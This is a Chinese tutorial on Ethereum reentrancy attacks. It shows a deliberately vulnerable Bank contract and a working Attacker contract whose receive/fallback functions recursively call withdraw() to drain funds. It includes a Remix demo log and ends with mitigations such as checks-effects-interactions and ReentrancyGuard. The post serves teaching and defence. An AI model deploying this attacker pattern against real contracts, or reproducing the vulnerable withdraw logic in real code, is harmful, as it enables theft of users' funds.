背景:由于公链环境下所有的信息都是共享的,智能合约相当于是完全透明化,任何人都可以调用,外加一些利益的驱动,导致引发了很多hacker的攻击。其中重入 (Re-Entrance) 攻击是以太坊中的攻击方式之一,例如The DAO 事件被盗取了大量的以太币从而造成了以太坊的硬分叉。
目标:将目标合约里的所有资金(ether)进行盗取,从而认识以及预防重入攻击漏洞。
前言
在进入今天的正题之前,我们先来看一段典型的有重入漏洞的代码:
function withdraw() public {
(bool success,) = msg.sender.call{value: shares[msg.sender]}("");
if (success)
shares[msg.sender] = 0;
}
上述方法的业务也很简单,提取调用者存入的钱,成功后将其余额设为零。
不知道大家脑海里有没有发出这样的疑问:这怎么就存在重入漏洞了呢?
如果你存在这样的疑惑,那么请由我来讲解一下其中的知识。在开始之前需要大家清楚几个知识点:
1. 重入定义
什么是重入?按官方的解释为"Any interaction from a contract (A) with another contract (B) and any transfer of Ether hands over control to that contract (B). This makes it possible for B to call back into A before this interaction is completed."
为方便记忆,暂且可以简单的理解为我们开发者传统印象中的递归。
2. 特殊函数
这里的特殊函数是指在合约交互发送ether转账时,会隐式触发调用的函数,包含receive和fallback。按官方解释为"If no receive function exists, but a payable fallback function exists, the fallback function will be called on a plain Ether transfer. If neither a receive Ether nor a payable fallback function is present, the contract cannot receive Ether through regular transactions and throws an exception."
通俗的来说就是当你的合约接收ether时,必须至少包含这俩函数中的一个。
3. 转账操作
什么是转账???对,没错,就是你脑子里想的那样。在这里是指在两个以太坊账户之间的发送和接收ether的操作。但需要知道的一点是以太坊上的账户分为两种,即普通账户和合约账户。
在以太坊上转账操作常见的函数包括三种.transfer()
、.send()
和.call{value:xxx}("")
在各位了解了基本的知识后,下面我们开始进入今天的正题:我将通过一个示例来进行演示,通过重入漏洞,盗取一个“银行”里的全部资金。
示例涉及到两个合约,一个为资金管理合约,一个为攻击者合约。其完整代码如下:
pragma solidity >=0.6.0 <0.9.0;
// 资金管理合约
contract Bank {
mapping(address => uint) balances;
constructor() payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
// 提取存入的钱
(bool success,) = msg.sender.call{value: balances[msg.sender]}("");
if (success)
balances[msg.sender] = 0; // 将余额设置为零
}
function deposit() payable public {
balances[msg.sender] += msg.value; // 存入钱
}
function balanceOf(address depositor) public view returns(uint){
return balances[depositor];
}
function totalAmount() public view returns(uint){
return address(this).balance;
}
}
// 攻击者合约
contract Attacker {
Bank bank;
constructor(Bank _bank){
bank = _bank;
}
function balanceOf() public view returns(uint){
return address(this).balance;
}
function deposit() payable public {
bank.deposit{value:msg.value}();
}
function withdraw() public {
bank.withdraw();
}
event Receive(address from, uint amount);
receive() external payable{
bank.withdraw();
emit Receive(msg.sender,msg.value);
}
event Fallback(address from, uint amount);
fallback() external payable {
bank.withdraw();
emit Fallback(msg.sender,msg.value);
}
}
合约部署
为其方便演示在此使用remix进行测试环境准备。首先,部署资金管理合约,并初始化存入100Wei(为显示方便,其金额任意)。结果如下:
然后,部署攻击者合约,结果如下:
重入攻击
首先,存入ether。因为资金管理合约的提款逻辑为提取自己已存入的,所以我们需要先存入。结果如下图:
然后,提取ether,利用重入漏洞将额外的资金进行盗取。交易执行成功后,查询提取的资金信息。结果如下图:
该笔交易的事件日志信息如下:
[{
"from": "0xf8e81D47203A594245E36C48e151709F0C19fBe8",
"topic": "0xd6717f327e0cb88b4a97a7f67a453e9258252c34937ccbdd86de7cb840e7def3",
"event": "Receive",
"args": {
"0": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
"1": "20",
"from": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
"amount": "20"
}
},
{
"from": "0xf8e81D47203A594245E36C48e151709F0C19fBe8",
"topic": "0xd6717f327e0cb88b4a97a7f67a453e9258252c34937ccbdd86de7cb840e7def3",
"event": "Receive",
"args": {
"0": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
"1": "20",
"from": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
"amount": "20"
}
},
{
"from": "0xf8e81D47203A594245E36C48e151709F0C19fBe8",
"topic": "0xd6717f327e0cb88b4a97a7f67a453e9258252c34937ccbdd86de7cb840e7def3",
"event": "Receive",
"args": {
"0": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
"1": "20",
"from": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
"amount": "20"
}
},
{
"from": "0xf8e81D47203A594245E36C48e151709F0C19fBe8",
"topic": "0xd6717f327e0cb88b4a97a7f67a453e9258252c34937ccbdd86de7cb840e7def3",
"event": "Receive",
"args": {
"0": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
"1": "20",
"from": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
"amount": "20"
}
},
{
"from": "0xf8e81D47203A594245E36C48e151709F0C19fBe8",
"topic": "0xd6717f327e0cb88b4a97a7f67a453e9258252c34937ccbdd86de7cb840e7def3",
"event": "Receive",
"args": {
"0": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
"1": "20",
"from": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
"amount": "20"
}
},
{
"from": "0xf8e81D47203A594245E36C48e151709F0C19fBe8",
"topic": "0xd6717f327e0cb88b4a97a7f67a453e9258252c34937ccbdd86de7cb840e7def3",
"event": "Receive",
"args": {
"0": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
"1": "20",
"from": "0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8",
"amount": "20"
}
}
]
另外,我们查看一下资金管理合约的余额信息,结果如下图:
解决方案
通过上面的示例,细心的朋友可能已经大概明白,其实重入攻击漏洞是因为触发了特殊函数(receive或者fallback)造成递归调用转账,目前常用的解决方案有下面几种:
方案一、 使用安全的转账函数
使用内置的 transfer或send 函数,因为transfer和send在转账时会传递2300Gas,不足以执行重入调回合约操作,而.call会传递所有可用的Gas(当然也可以设置传递可用的Gas)。
方案二、使用官方推荐的检查-生效-交互模式 (checks-effects-interactions)
function withdraw() public {
uint share = shares[msg.sender];
shares[msg.sender] = 0;
payable(msg.sender).transfer(share);
}
方案三、使用专门针对重入攻击的安全合约
例如OpenZeppelin 官方库中的安全合约ReentrancyGuard.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract ReentrancyGuard {
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
今天的讲解到此结束,感谢大家的阅读,如果你有其他的方案,欢迎一块交流。